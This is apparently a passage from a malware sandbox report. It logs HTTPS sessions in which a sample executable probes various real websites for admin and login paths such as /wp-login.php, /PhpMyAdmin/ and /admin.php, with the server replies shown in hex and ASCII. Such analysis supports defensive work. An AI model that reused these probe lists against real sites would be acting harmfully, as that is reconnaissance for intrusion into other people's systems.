menu-item-object-custom menu-item-294"><a class="page-scroll" target="_blank" href="http://formacion.talentius.com/">ACCESO USUARIO</a></li></ul><div><p><a href="http://talentius.com/aviso-legal/
2023-11-26 05:59:59 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:59 UTC	992	IN	Data Raw: 33 64 34 0d 0a 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 62 69 7a 6f 6e 65 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 70 61 72 61 6c 6c 61 78 2d 31 2e 31 2e 33 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 62 69 7a 6f 6e 65 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 66 61 6e 63 79 62 6f 78 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 Data Ascii: 3d4pt type='text/javascript' src='https://talentius.com/wp-content/themes/bizone/assets/js/jquery.parallax-1.1.3.js'></script><script type='text/javascript' src='https://talentius.com/wp-content/themes/bizone/assets/js/jquery.fancybox.js'></script><sc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.4	56118	18.228.96.142	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	185	OUT	GET /wp-login.php HTTP/1.1 Host: www.rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	440	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 72 65 63 68 2e 63 6f 6d 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6f 72 69 67 69 6e 44 69 72 65 63 74 3d 74 72 75 65 3b 20 4d 61 78 2d 41 67 65 3d 36 30 34 38 30 30 3b 20 45 78 70 69 72 65 73 3d 53 75 6e 2c 20 30 33 20 44 65 63 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:59 GMTContent-Length: 0Connection: closeContent-Security-Policy: frame-ancestors 'self'Location: https://rech.comSet-Cookie: originDirect=true; Max-Age=604800; Expires=Sun, 03 Dec 2023 05:59:59 GM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.4	56209	34.240.130.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	176	OUT	GET /admin/ HTTP/1.1 Host: www.harasduberry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	231	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 36 30 34 38 30 30 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:59 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingstrict-transport-security: max-age=604800Server: nginx
2023-11-26 05:59:59 UTC	16153	IN	Data Raw: 31 66 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 66 72 2d 46 52 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 2e 6a 69 6d 63 64 6e 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6a 69 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e Data Ascii: 1f37<!DOCTYPE html><html lang="fr-FR"><head> <meta charset="utf-8"/> <link rel="dns-prefetch preconnect" href="https://u.jimcdn.com/" crossorigin="anonymous"/><link rel="dns-prefetch preconnect" href="https://assets.jimstatic.com/" crossorigin
2023-11-26 05:59:59 UTC	16384	IN	Data Raw: 76 61 75 78 20 c3 a0 20 76 65 6e 64 72 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 0d 0a 66 66 38 0d 0a 20 69 64 3d 22 63 63 2d 6e 61 76 2d 76 69 65 77 2d 32 31 31 35 39 31 35 33 37 39 22 20 63 6c 61 73 73 3d 22 6a 6d 64 2d 6e 61 76 5f 5f 6c 69 73 74 2d 69 74 65 6d 2d 30 20 6a 2d 6e 61 76 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 22 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 66 6f 73 2d 70 72 61 74 69 71 75 65 73 2d 70 61 72 2d 72 61 63 65 2f 22 20 64 61 74 61 2d 6c 69 6e 6b 2d 74 69 74 6c 65 3d 22 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 22 3e 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 3c 2f 61 3e 3c 73 70 61 6e 20 64 61 74 61 2d 6e 61 76 69 2d 74 6f 67 67 6c 65 3d 22 63 63 2d Data Ascii: vaux vendre</a></li></ul></li><liff8 id="cc-nav-view-2115915379" class="jmd-nav__list-item-0 j-nav-has-children"><a href="/infos-pratiques-par-race/" data-link-title="Infos pratiques par race">Infos pratiques par race</a><span data-navi-toggle="cc-
2023-11-26 05:59:59 UTC	7307	IN	Data Raw: 20 64 65 20 63 6f 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 5c 6e 5c 6e 4c 65 73 20 63 6f 6f 6b 69 0d 0a 66 66 38 0d 0a 65 73 20 64 65 20 63 6f 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 20 70 65 72 6d 65 74 74 65 6e 74 20 61 75 20 76 69 73 69 74 65 75 72 20 64 75 20 73 69 74 65 20 64 27 61 75 74 6f 72 69 73 65 72 20 6c 65 73 20 73 65 72 76 69 63 65 73 5c 2f 63 6f 6f 6b 69 65 73 20 73 5c 75 30 30 65 39 6c 65 63 74 69 6f 6e 6e 5c 75 30 30 65 39 73 20 65 74 20 65 6e 72 65 67 69 73 74 72 65 6e 74 20 6c 65 75 72 73 20 70 72 5c 75 30 30 65 39 66 5c 75 30 30 65 39 72 65 6e 63 65 73 20 65 6e 20 6d 61 74 69 5c 75 30 30 65 38 72 65 20 64 65 20 63 6f 6f 6b 69 65 73 2e 5c 6e 5c 6e 50 72 65 73 74 61 74 61 69 72 65 20 3a 5c 6e 4a 69 6d 64 6f 20 47 6d Data Ascii: de contr\u00f4le Jimdo\n\nLes cookiff8es de contr\u00f4le Jimdo permettent au visiteur du site d'autoriser les services\/cookies s\u00e9lectionn\u00e9s et enregistrent leurs pr\u00e9f\u00e9rences en mati\u00e8re de cookies.\n\nPrestataire :\nJimdo Gm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.4	56197	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	180	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	206	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 61 67 72 69 63 6f 6c 61 2e 63 6f 6d 2e 62 72 2f 50 68 70 4d 79 41 64 6d 69 6e 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 05:59:59 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rechagricola.com.br/PhpMyAdmin/
2023-11-26 05:59:59 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.4	56200	34.136.104.255	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	581	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 32 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 57 50 20 45 6e 67 69 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:59 GMTContent-Type: text/html; charset=UTF-8Content-Length: 6238Connection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP EngineSet-Cookie:
2023-11-26 05:59:59 UTC	6238	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 49 53 20 4f 66 66 72 6f 61 64 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TIS Offroad — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javascri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.4	56222	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	174	OUT	GET /admin.php HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	569	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:59 GMTserver: Apache/2.4.57 (Debian)x-powered-by: PHP/8.2.12expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://www.maxiv.lu.se/wp-json/>; r
2023-11-26 05:59:59 UTC	6311	IN	Data Raw: 31 38 39 46 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 4d 41 58 20 49 56 3c 2f 74 69 74 Data Ascii: 189F<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="profile" href="http://gmpg.org/xfn/11"><title>Page not found – MAX IV</tit
2023-11-26 06:00:00 UTC	16314	IN	Data Raw: 33 46 42 32 0d 0a 69 76 69 64 2d 6f 72 61 6e 67 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 Data Ascii: 3FB2ivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: v
2023-11-26 06:00:00 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 31 20 37 37 2e 32 2d 31 36 30 2e 31 68 2e 32 7a 6d 2d 33 31 33 20 34 30 32 2e 35 63 2d 31 34 2d 35 33 2d 31 34 2d 31 30 38 2e 37 20 30 2d 31 36 31 2e 37 68 31 33 36 2e 36 63 2d 33 2e 35 20 32 36 2e 38 2d 35 2e 34 20 35 33 2e 38 2d 35 2e 37 20 38 30 2e 38 2e 33 20 32 37 20 32 2e 31 20 35 34 20 35 2e 37 20 38 30 2e 38 6c 2d 31 33 36 2e 36 2e 31 7a 6d 33 33 2e 32 20 38 30 2e 38 68 31 31 39 2e 32 63 31 32 2e 36 20 35 30 2e 31 20 33 31 2e 34 20 39 38 2e 34 20 35 35 2e 38 20 31 34 33 2e 39 2d 37 33 2e 39 2d 32 35 2e 32 2d 31 33 36 2d 37 36 2e 33 2d 31 37 35 2d 31 34 33 2e 39 7a 6d 31 31 39 2e 32 2d 33 32 33 2e 33 48 32 32 30 2e 32 63 33 39 2d 36 37 2e 35 20 31 30 31 2e 32 2d 31 31 38 2e 37 20 31 37 35 2d 31 34 33 2e 39 2d 32 34 2e 33 20 34 35 Data Ascii: 3FC01 77.2-160.1h.2zm-313 402.5c-14-53-14-108.7 0-161.7h136.6c-3.5 26.8-5.4 53.8-5.7 80.8.3 27 2.1 54 5.7 80.8l-136.6.1zm33.2 80.8h119.2c12.6 50.1 31.4 98.4 55.8 143.9-73.9-25.2-136-76.3-175-143.9zm119.2-323.3H220.2c39-67.5 101.2-118.7 175-143.9-24.3 45
2023-11-26 06:00:00 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 32 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 75 73 65 72 2d 61 63 63 65 73 73 2f 63 61 6c 6c 2d 66 6f 72 2d 70 72 6f 70 6f 73 61 6c 73 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 43 61 6c 6c 20 66 6f 72 20 70 72 6f 70 6f 73 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 2d 32 27 3e 3c 61 20 68 72 65 Data Ascii: 3FB8t-page item-depth-2'><a href="https://www.maxiv.lu.se/user-access/call-for-proposals/" class="menu-item-label">Call for proposals</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth-2'><a hre
2023-11-26 06:00:00 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 64 2d 6e 6f 6e 65 20 6d 69 6e 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 72 65 6d 6f 76 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 75 6c 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 2d 35 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 Data Ascii: 3FC0aterial-icon submenu-toggler d-none minus-icon" aria-hidden="true"><span class="material-icons-sharp">remove</span></span><ul><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth-5'><a href="https://w
2023-11-26 06:00:00 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 65 61 6d 6c 69 6e 65 73 2f 66 65 6d 74 6f 6d 61 78 2f 75 73 65 72 2d 69 6e 66 6f 72 6d 61 74 69 6f 6e 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 55 73 65 72 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 61 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 70 6c 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 61 64 64 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 Data Ascii: 3FB8eamlines/femtomax/user-information/" class="menu-item-label">User information</a><span class="material-icon submenu-toggler plus-icon" aria-hidden="true"><span class="material-icons-sharp">add</span></span><span class="material-icon submenu-toggler
2023-11-26 06:00:00 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6e 6f 2d 62 6f 72 64 65 72 20 69 74 65 6d 2d 64 65 70 74 68 2d 35 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 68 69 70 70 69 65 2f 65 78 70 65 72 69 6d 65 6e 74 61 6c 2d 73 74 61 74 69 6f 6e 2f 73 6f 6c 69 64 2d 6c 69 71 75 69 64 2d 62 72 61 6e 63 68 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 53 6f 6c 69 64 2d 4c 69 71 75 69 64 20 42 72 61 6e 63 68 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 2f 6c 69 3e 3c 2f Data Ascii: 3FB8enu-item-type-post_type menu-item-object-page no-border item-depth-5'><a href="https://www.maxiv.lu.se/beamlines-accelerators/beamlines/hippie/experimental-station/solid-liquid-branch/" class="menu-item-label">Solid-Liquid Branch</a></li><li></li></
2023-11-26 06:00:00 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 76 65 72 69 74 61 73 2f 62 65 61 6d 6c 69 6e 65 2d 6f 70 74 69 63 73 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 42 65 61 6d 6c 69 6e 65 20 6f 70 74 69 63 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 